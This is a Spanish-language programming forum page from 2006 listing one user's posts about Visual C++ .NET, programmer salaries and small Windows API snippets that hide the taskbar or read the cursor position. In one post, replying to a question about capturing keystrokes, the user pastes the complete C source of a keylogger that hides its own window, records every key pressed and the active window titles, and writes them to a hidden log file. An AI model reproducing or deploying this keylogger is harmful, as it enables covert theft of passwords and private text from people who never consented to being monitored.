• Lunes 12 de Mayo de 2025, 14:38

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - robokop

Páginas: 1 2 3 [4]
76
Visual C++ / Re: Manual De Vc++
« en: Martes 15 de Agosto de 2006, 04:41 »
Citar
Perdon pero... se VC++ es un IDE/COmpilador porque el .Net?
porque vc++.net esta orientado a la programacion en framework por lo tanto seria casi otro lenguaje .
No se si este propiamente dicho que en particular es casi otro lenguaje , pero si es muy diferente al C/C++ Standard , la cosa cambia mucho en el .net .

Citar
Visual C++ no deja de ser un programa, con el que jugando se aprende, así como yo (y cualquiera) lo hice con Windows y muchos otros "programas".
cabe el pequeño detalle que visual c++.net no es un programa es un Software de Lenguaje , no es lo mismo aprender a utilizar windows(windows tampoco es un programa es un S.O),kaspersky,messenger ,firefox etc..  a aprender un lenguaje(me refiero al C++ standar).
Si en todo caso lo unico que vas a aprender jugando con el es a configurar tu IDE pero de hay a programar para el framework en c++ imposible...
Lo único que digó y repito el Visual C++.net es un lenguaje c++ no standar orientado hacia aplicaciónes .NET que no se puede aprender sin documentacion  :alien:

Citar
Lenguaje != IDE/Compilador
Eso incluye borland C++ 6,vc++6,dev-C++ etc...

Lenguajes framework
C#,delphi 2005(delphi 7 no incluye),vb.net ,visual j++.net

Te recuerdo que visual basic y visual basic.net son diferentes lenguajes .
vc++6 es un ide/Compilador igual que vc++.net pero este con posibilidad de programar en lenguaje framework cambia mucho la cosa.

En si lo que es el IDE/Compilador es visual c++ , versiones 4,6 ,.net en la .net se usa el C++.net que viene siendo otro lenguaje .
salu2

77
Visual C++ / Re: Manual De Vc++
« en: Lunes 14 de Agosto de 2006, 23:50 »
Citar
No pienso gastar mi dinero en libros, ya tengo como 40 e-books de C/C++.
Te equivocas , comprar libros no es gastar dinero si no hacer un buena inversion.

Código: Text
  1. Y para el VC++, pues, a ver si después juego un poco y aprendo a usarlo, no veo manuales del IDE-compilador y los videos del VC++ Express son muy cortos y/o avanzados.
  2.  

Visual C++.net no es un juguetito. Haber si en internet o "jugando con el aprendes a programar cosas como este codigo"
Código: Text
  1.  
  2. console::writeline(S"Iniciar prueba");
  3. try
  4. {
  5. int n= 3
  6. Console::Writeline(S"llamar con n = 3");
  7. func(n);
  8. Console::Writeline(S"llamar con n = 0");
  9. n = 0;
  10. func(n);
  11. }
  12. catch(system::ArgumentExeption*pex)
  13. {
  14. Console::Writeline(S"se ha de producir una exepcion {0}",pex);
  15. }
  16. _finally
  17. {
  18. console::writeline(S"Este es el bloque _finally");
  19. }
  20.  
  21.  

Es solo un ejemplo bobo , pero muestra la gran diferencia que hay en el visual c++.net al C++ standar no creo que jugando o con tus ebooks de C/C++ standar aprendas a sacarle todo el potencial a la herramienta.
Si no quieres gastar pues bajalos de internet aunque es mucho mejor en libro.

78
Visual C++ / Re: Manual De Vc++
« en: Lunes 14 de Agosto de 2006, 05:34 »
La mayoria de los tutoriales de internet son solamente reseñas e introducciones y no conviene perder el tiempo , baja libros o compra uno (es mejor comprar)
Microsoft  ha sacado muy buenos libros de sus productos en especial del framework , busca uno que se llama Microsoft visual c++.net edicion de aprendizaje , viene un cd con ejemplos ,+4cds que es el microsoft visual c++.net edicion standar y el libro de 600 paginas mas o menos edicion mcGrawHill autor microsoft.
Ese libro no conviene para C/C++ standar ya que te enseña el C orientado a net pero esta muy bueno.
a mi me costo 400$$ en librerias gonvill , no se si en el D.F haya esa libreria yo soy de GDL,jal

79
Visual C++ / Re: Problema Apis
« en: Lunes 14 de Agosto de 2006, 05:19 »
Yo ya ni se de que hablan pero buee.
aqui dejo un pequeño code que hice de practica para esconder taskbar,boton de inicio,tray ,reloj etc...
Es muy simple pero por si a alguien le hace falta.
Gracias Eternla por la ayuda  :smartass:
Código: Text
  1. #include "windows.h"
  2. #include "stdio.h"
  3.  
  4. /*Variables globales*/
  5. HWND  ventana,ventana2;
  6.  char resp;
  7.  
  8. /*definciones*/
  9. void taskbar(char on);
  10. void tray(char on);
  11. void windo(char on);
  12. void launch(char on);
  13. void inicio(char on);
  14. void opciones(void);
  15. int main()
  16. {
  17.   for(;;)
  18.   {
  19.    opciones();
  20.   }
  21. return 0;
  22. }
  23. /*Opciones a elejir*/
  24. void opciones()
  25. {
  26.     printf("\t\t\tEsconder botones de windows\n\n\n");
  27.   printf("Elija una opcion:\n\n");
  28.   printf("A)Esconder taskbar\na)Mostrar taskbar\n");
  29.   printf("B)Esconder tray y reloj\nb)Mostrar tray\n");
  30.   printf("C)Esconder Ventanas minizadas\nc)Mostrar ventanas minimizadas\n");
  31.   printf("D)Esconder QuickLaunch\nd)Mostrar QuickLaunch\n");
  32.   printf("E)Esconder boton de Inicio\ne)Mostrar boton de inicio\n");
  33.   printf("Elija una opcion y pulse enter :");
  34.   resp = getchar();
  35.  switch (resp)
  36.  {
  37.  case 'A':
  38.      taskbar('s');   break;
  39.  case 'a':
  40.        taskbar('n');   break;
  41.  case 'B':
  42.        tray('s');      break;
  43.  case 'b':
  44.        tray('n');      break;
  45.  case 'C':
  46.        windo('s');     break;
  47.  case 'c':
  48.        windo('n');   break;
  49.  case 'D':
  50.        launch('s');   break;
  51.  case 'd':
  52.         launch('n');   break;
  53.  case 'E':
  54.         inicio('s');   break;
  55.  case 'e':
  56.         inicio('n');   break;
  57.  }
  58.  system("cls");
  59. }
  60.  
  61. /*Funcion para esconder taskbar*/
  62. void taskbar(char on)
  63. {
  64.   if (on=='s')
  65.   {
  66.       ventana = FindWindowA("Shell_traywnd",NULL);/*Encontramos el Handle */
  67.     ShowWindow(ventana,SW_HIDE);/*Se oculta con SW_HIDE*/
  68.   }
  69.   else
  70.   {
  71.       ventana = FindWindowA("Shell_traywnd",NULL);
  72.     ShowWindow(ventana,SW_SHOW);
  73.   }
  74. }
  75.  
  76. //Funcion para Iconos minizados y reloj  en el taskbar
  77. void tray(char on)
  78. {
  79.     if (on=='s')
  80.   {
  81.       ventana = FindWindowA("Shell_traywnd",NULL);
  82.     ventana2 = FindWindowExA (ventana,NULL,"TrayNotifywnd",NULL);/*Entre las ventanas
  83.                                    hijas buscamos El tray*/
  84.         ShowWindow(ventana2,SW_HIDE);
  85.   }
  86.   else
  87.   {
  88.       ventana = FindWindowA("Shell_traywnd",NULL);
  89.     ventana2 = FindWindowExA (ventana,NULL,"TrayNotifywnd",NULL);
  90.     ShowWindow(ventana2,SW_SHOW);
  91.   }
  92. }
  93. //Ventanas en taskbar
  94. void windo(char on)
  95.  
  96. {
  97.     if (on=='s')
  98.   {
  99.       ventana = FindWindowA("Shell_traywnd",NULL);
  100.     ventana2 = FindWindowExA (ventana,NULL,"ReBarWindow32",NULL);
  101.         ShowWindow(ventana2,SW_HIDE);
  102.   }
  103.   else
  104.   {
  105.     ventana = FindWindowA("Shell_traywnd",NULL);
  106.     ventana2 = FindWindowExA (ventana,NULL,"ReBarWindow32",NULL);
  107.     ShowWindow(ventana2,SW_SHOW);
  108.   }
  109. }
  110.  
  111. //Quick launch
  112. void launch(char on)
  113.  
  114. {
  115.     if (on=='s')
  116.   {
  117.       ventana = FindWindowA("Shell_traywnd",NULL);
  118.     ventana2 = FindWindowExA (FindWindowExA(ventana,NULL,"ReBarWindow32",NULL),NULL,"ToolBarWindow32",NULL);
  119.         ShowWindow(ventana2,SW_HIDE);
  120.   }
  121.   else
  122.   {
  123.     ventana = FindWindowA("Shell_traywnd",NULL);
  124.     ventana2 = FindWindowExA (FindWindowExA(ventana,NULL,"ReBarWindow32",NULL),NULL,"ToolBarWindow32",NULL);
  125.     ShowWindow(ventana2,SW_SHOW);
  126.   }
  127. }
  128.  
  129. //Boton de inicio
  130. void inicio(char on)
  131.  
  132. {
  133.     if (on=='s')
  134.   {
  135.       ventana = FindWindowA("Shell_traywnd",NULL);
  136.     ventana2 = GetWindow(ventana,GW_CHILD);
  137.     ShowWindow(ventana2,SW_HIDE);
  138.   }
  139.   else
  140.   {
  141.     ventana = FindWindowA("Shell_traywnd",NULL);
  142.     ventana2 = GetWindow(ventana,GW_CHILD);
  143.     ShowWindow(ventana2,SW_SHOW);
  144.   }
  145. }
  146.  
salu2
pd: El code se puede optimizar muchisimo pero lo deje asi porque es solo un ejercicio e hice copy&paste del primer ejemplo solo cambiando parametros

80
La taberna del BIT / Re: Sueldo De Un Programador
« en: Sábado 12 de Agosto de 2006, 22:15 »
Vi esto en internet.
Sueldos de programadores de java en diferentes paises.
  • EEUU $4500</li>
  • Chipre $2000</li>
  • Austria $1500-3500</li>
  • Alemania $2000-4500</li>
  • Suiza $4000-8000</li>
  • Rusia $800-1000</li>
  • Reino Unido $4000-8000</li>
  • Francia: $2000-4000</li>
fuente:http://certificadojava.blogspot.com/2006/04/cuanto-gana-un-programador-java-en.html
http://www.javalobby.org/java/forums/m91998471.html
Imagino que son en dolares/cada mes.
En inglaterra si que se gana bien  :kicking:

81
La taberna del BIT / Re: Sueldo De Un Programador
« en: Sábado 12 de Agosto de 2006, 22:06 »
lo dije en modo de turista , pero pues es como tu dices
"Si nos vamos de un pais donde ganamos 500 y gastamos 125 a uno donde ganamos 1000 y gastamos 250 nuestro ahorra se duplica"
 
Citar
Parece que no leiste a Diodo y ademas tenes conceptos erroneos. ¿45.000 pesos? ¿En USA te pagan en pesos? No creo ... ¿O lo que pasa es que queres ganar como en otro pais y seguir en el tuyo? No vas a ser el primero que lo quiera hacer eh
Si lei bien que puso USA 4500 dolares es mas o menos 45,000$ por eso lo dije asi es obvio que en Usa no te pegan en pesos , pero lo dije asi simplemente porque se me apetecio decirlo en pesos .
nunca dije que quisiera ganar como en otros paises y seguir en el mio , me referia a que ese sueldo si es bueno.

82
Visual C++ / Re: Problema Apis
« en: Sábado 12 de Agosto de 2006, 22:00 »
Bien  :D  ahora ya me funciona bien y tambien funciona perfecto otros codigos que antes no me servian .
Pero otra duda cuando lo compilo en modo debug no da errores ,pero asi no me gusta ya que deja el programa algo pesado y si lo compilo en modo release me da errores que podria hacer hay ?
gracias por todo.

83
C++ Builder / Re: Capturar De Teclado
« en: Sábado 12 de Agosto de 2006, 20:06 »
En un programa que estoy haciendo ocupaba la api GetCursorPos aqui esta el ejemplo  :smartass:

Citar
#include "stdio.h"
#include "windows.h"
#pragma comment(lib ,"user32.lib")/*Libreria necesaria para la api GetCursorPos*/
int main()
{
   POINT x;
   GetCursorPos(&x);//Se optiene en una direccion de la memoria
   printf("%d %d\n",x);//es 2 veces %d para mostrar posicion x y Y.
   system("pause");
   return 0;
}

84
La taberna del BIT / Re: Sueldo De Un Programador
« en: Sábado 12 de Agosto de 2006, 19:07 »
Cita de: "Eternal Idol"
Cita de: "robokop"
Eh visto en varias partes que el Sueldo de un programador en España es una miseria de 700€ a 1500€ en general
¿Alguna vez estuviste en España? ¿Sabes cuanto gana la gente que hace otras profesiones y cual es el gasto normalmente de la gente? ¿O solo haces afirmaciones gratuitas? España es uno de los paises donde menos se gana ... es el culo de Europa en casi todo.
Si una vez fui a españa y las cosas si que son caras.
Sobre de cuanto ganan otras gentes eso no lo se yo vi los sueldos de programadores porque lo vi en internet
Citar
No es mentira, tengo un primo que solo tiene "Software Development Engineer" de Microsoft (Creo que se llama asi) y gana 4500US$ al mes en EEUU...
45,000 pesos eso si me gusta  :lol:  :lol:

85
C++ Builder / Re: Capturar De Teclado
« en: Sábado 12 de Agosto de 2006, 03:10 »
Si por eso mismo mira eso en el hacking se llaman keylogger , graban pulsaciones de teclas , aunque tu aplicacion este minizada ,escondida o lo que sea hay muchos codigos de keylogger en internet.
te pongo el codigo de uno que no es mio es un usuario del foro.elhacker.net (lympex)

<!--xc1--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>XCODE </td></tr><tr><td id='XCODE'><!--exc1-->
/*
Código de muestra de un keyloguer básico - Coded by Lympex
----------------------------------------------------------

Características:
- Se inicia en la ruta donde sea ejecutado
- No se añade al registro
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && http://l-bytes.tk
*/

/*cabeceras*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

/*para el log*/
FILE *log;
/*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
#define OK -32767
/*para el hwnd de la ventana activa*/
HWND ventana;

/*==============================================================
==============================================================*/
void main(int argc, char *argv[])
{
/*realiza un seguimiento de las teclas pulsadas*/
void KeyLogger();

/*ocultamos la ventana antes que nada*/
ventana=GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);

/*abrimos el log*/
log=fopen("LgPh.log","a");

/*escribimos en el log*/
fprintf(log,"\n------------------------------------\n");
fprintf(log,"[+] PhcKey 0.2 Log");
fprintf(log,"\n[+] Iniciando keyloguer...");
fclose(log);
/*comenzamos a loguear teclas*/
KeyLogger();
}


/*==============================================================
    ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
==============================================================*/
void KeyLogger()
{
//para obtener la hora del equipo
time_t ltime;
/*obtiene el código ascii de la tecla pulsada*/
int tecla=0;
//para el texto de la vntana activa
char TVentana[500];
//para almacenar las teclas que se pulsan
char *Teclas;
int k; //para recorrer el código ascii de las letras
//el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
char dominio[] = "abcdefghijklmnopqrstuvwxyz";
//idem
char dominio_num[] = "0123456789"; //para escanear el numpad

//limpiamos el buffer del teclado para no mezclar
fflush(stdin);

/*comenzamos a loguear*/
log=fopen("LgPh.log","a");
fprintf(log,"OK\n");
fclose(log);

//cojemos el hwnd de la ventana activa
ventana=GetForegroundWindow();

//guardamos la memoria
Teclas=calloc(1024,sizeof(char));
//mientras la variable 'loguea' sea TRUE
do
{
/*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
{
if(strlen(TVentana)>0 && strlen(Teclas)>0) //si hay datos suficientes para loguear
{
//cojemos la hora
time(<ime);
ctime(<ime);

//como ha cambiado laventana, guardamos los datos
log=fopen("LgPh.log","a");
fprintf(log,"\n\n[+] Fecha: %s",ctime(<ime)); //metemos la hora
fprintf(log,"[-] [ Ventana: %s ]",TVentana);
fprintf(log,"\n    %s",Teclas);//guardamos las teclas
fclose(log);
//limpiamos la variable
free(Teclas);
Teclas=calloc(1024,sizeof(char));
}
//cojemos el nuevo hwnd
ventana=GetForegroundWindow();
}else{
//y ahora cojemos el nuevo texto de la ventana
GetWindowText(ventana,TVentana,500);
}

/*creamos un bucle para saber qué tecla pulsa*/
for(tecla=4;tecla<256;tecla++)
{
if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
{
//------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
//------------------------------------
for(k=65;k<91;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio[tecla-65];
Teclas[strlen(Teclas)]='\0';
}
}

//-----------------------------------------------
/*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
//-----------------------------------------------
for(k=96;k<106;k++)
{
if(tecla==k)
{
Teclas[strlen(Teclas)]=dominio_num[tecla-96];
Teclas[strlen(Teclas)]='\0';
}
}

//filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
switch(tecla)
{
/*Miramos los "F1,F2..."*/
case 112:
strcat(Teclas,"[F1]");
break;

case 113:
strcat(Teclas,"[F2]");
break;

case 114:
strcat(Teclas,"[F3]");
break;

case 115:
strcat(Teclas,"[F4]");
break;

case 116:
strcat(Teclas,"[F5]");
break;

case 117:
strcat(Teclas,"[F6]");
break;

case 118:
strcat(Teclas,"[F7]");
break;

case 119:
strcat(Teclas,"[F8]");
break;

case 120:
strcat(Teclas,"[F9]");
break;

case 121:
strcat(Teclas,"[F10]");
break;

case 122:
strcat(Teclas,"[F11]");
break;

case 123:
strcat(Teclas,"[F13]");
break;

case 27:
strcat(Teclas,"[Escape]");
break;

case 8:
strcat(Teclas,"[Retroceso]");
break;

case 13:
strcat(Teclas,"[Enter]");
break;

case 9:
strcat(Teclas,"[Tabulado]");
break;

case 20:
strcat(Teclas,"[Bloq.Mayus.]");
break;

case 160:
strcat(Teclas,"[Shitf(Izq)]");
break;

case 161:
strcat(Teclas,"[Shitf(Dcha)]");
break;

/*caracteres especiales*/
case 221:
Teclas[strlen(Teclas)]='¡';
Teclas[strlen(Teclas)]='\0';
break;

case 219:
strcat(Teclas,"[']");
break;

case 192:
strcat(Teclas,"[ñ]");
break;

case 32:
strcat(Teclas," ");
break;

case 144:
strcat(Teclas,"[Bloq Num]");
break;

case 111:
Teclas[strlen(Teclas)]='/';
Teclas[strlen(Teclas)]='\0';
break;

case 106:
Teclas[strlen(Teclas)]='*';
Teclas[strlen(Teclas)]='\0';
break;

case 109:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 220:
Teclas[strlen(Teclas)]='\\';
Teclas[strlen(Teclas)]='\0';
break;

case 49:
Teclas[strlen(Teclas)]='1';
Teclas[strlen(Teclas)]='\0';
break;

case 50:
Teclas[strlen(Teclas)]='2';
Teclas[strlen(Teclas)]='\0';
break;

case 51:
Teclas[strlen(Teclas)]='3';
Teclas[strlen(Teclas)]='\0';
break;

case 52:
Teclas[strlen(Teclas)]='4';
Teclas[strlen(Teclas)]='\0';
break;

case 53:
Teclas[strlen(Teclas)]='5';
Teclas[strlen(Teclas)]='\0';
break;

case 54:
Teclas[strlen(Teclas)]='6';
Teclas[strlen(Teclas)]='\0';
break;

case 55:
Teclas[strlen(Teclas)]='7';
Teclas[strlen(Teclas)]='\0';
break;

case 56:
Teclas[strlen(Teclas)]='8';
Teclas[strlen(Teclas)]='\0';
break;

case 57:
Teclas[strlen(Teclas)]='9';
Teclas[strlen(Teclas)]='\0';
break;

case 48:
Teclas[strlen(Teclas)]='0';
Teclas[strlen(Teclas)]='\0';
break;

case 188:
Teclas[strlen(Teclas)]=',';
Teclas[strlen(Teclas)]='\0';
break;

case 189:
Teclas[strlen(Teclas)]='-';
Teclas[strlen(Teclas)]='\0';
break;

case 190:
Teclas[strlen(Teclas)]='.';
Teclas[strlen(Teclas)]='\0';
break;

default:
//mostramos el caracter ascii de la tecla pulsada
//printf("{%d}",tecla);
break;
};
}
}
}while(1<2);
}
<!--xc2--></td></tr></table><div class='postcolor'><!--exc2-->

86
La taberna del BIT / Re: Sueldo De Un Programador
« en: Sábado 12 de Agosto de 2006, 00:05 »
:blink:  :( Si no mejora la cosa , voy a tener que ir viendo la carrera de medicina o administracion de empresas ...

87
La taberna del BIT / Re: Sueldo De Un Programador
« en: Viernes 11 de Agosto de 2006, 22:39 »
Citar
En Europa y USA obviamente pagan más que en Latinoamérica.
Eh visto en varias partes que el Sueldo de un programador en España es una miseria de 700€ a 1500€ en general , por lo poco que eh visto aqui en mexico es de 1500$ a 2000$
eso esta bien para empezar y ganar experiencia como a la edad de 24 años pero cuando tienes hijos ,colegiaturas ,universidades,regalos,comidas eso no te alcanza.. :blink:

88
C++ Builder / Re: Capturar De Teclado
« en: Viernes 11 de Agosto de 2006, 20:47 »
Para la posicion del raton se hace con la APi GetCursorPos busca informacion de ella y las pulsaciones de teclas con la api GetAsyncKeyState
suerte :hola:

89
La taberna del BIT / Re: Sueldo De Un Programador
« en: Viernes 11 de Agosto de 2006, 20:43 »
Citar
  Depende MUCHISIMO del pais.
En México mas o menos cuanto  ;)

90
La taberna del BIT / Sueldo De Un Programador
« en: Viernes 11 de Agosto de 2006, 19:25 »
Bueno esta es la duda solamente por pura curiosidad en promedio general cuanto suele ser el sueldo de un búen programador de unos 4 lenguajes supongamos C/C++,delphi ,ASM  y java en un trabajo decente.
 :comp:

91
Visual C++ / Re: Problema Apis
« en: Jueves 10 de Agosto de 2006, 21:58 »
Ya esta  :D  ...No se porque cuando lo probe no me funciono pero ya me funciona bien con FindWindowA muchas gracias Eternal  :hola:

92
La taberna del BIT / Re: Los 5 Puntos De Los Empleos De Microsoft
« en: Jueves 10 de Agosto de 2006, 21:40 »
Yo creo que se refiere que S.O estaban usando cuando programaban windows vista es decir si lo programaban desde Visual Studio en windows XP

93
La taberna del BIT / Re: Winvista Fue Hackeado Por Mujer "black Hatter"
« en: Jueves 10 de Agosto de 2006, 21:21 »
Citar
Por allí vi un programa que te "traduce" de Assembly a C.
Un paso es entender el codigo el otro es ver una parte que pueda ser vunerable y el siguiente buscar el metodo para explotarlo.
Asi que no es tan facil aun asi teniendo el source code. :lightsabre:

94
Visual C++ / Re: Problema Apis
« en: Jueves 10 de Agosto de 2006, 21:05 »
intente eso y nada.
Cambie findwindow por findwindowA y si corrio pero no ocultaba nada , en la imagen adjunta fue donde puse unicode en no .
Alguna otra idea mas ?
gracias por tu ayuda

95
Visual C++ / Problema Apis
« en: Jueves 10 de Agosto de 2006, 18:49 »
Buenas  :hola:

Estaba haciendo un proyecto para esconder el boton de inicio con apis
el codigo es estE:
Código: Text
  1.  #include &#60;windows.h&#62;
  2. HWND ventana,ventana2;
  3. int main()
  4. {
  5. ventana = FindWindow(&#34;Shell_traywnd&#34;, NULL);
  6. ventana2 = GetWindow(ventana,GW_CHILD);
  7. ShowWindow(ventana2, SW_HIDE);
  8. system(&#34;PAUSE&#34;);  
  9.   return 0;
  10. }
  11.  

Bueno pues resulta que no me funciona y en Dev-C++ si que funciona bien pero yo prefiero vc++.net 2005 que es la version que tengo , pero na no me funciona , estoy creando un proyecto de consola standar sin que ocupe la libreria stdafx.h y aunque la incluya no me funciona me marca error C2664 'FindWindowW':canot convert parameter  1 from const char[14] to LPCWSTR.
Pense que podia ser el proyecto porque es c++, asi que como vc++ no tiene posibilidad de elejir el C normal intente cambiarle el CPP por C y si me corre pero no esconde el boton.

Gracias Y salu2  :kicking:

Páginas: 1 2 3 [4]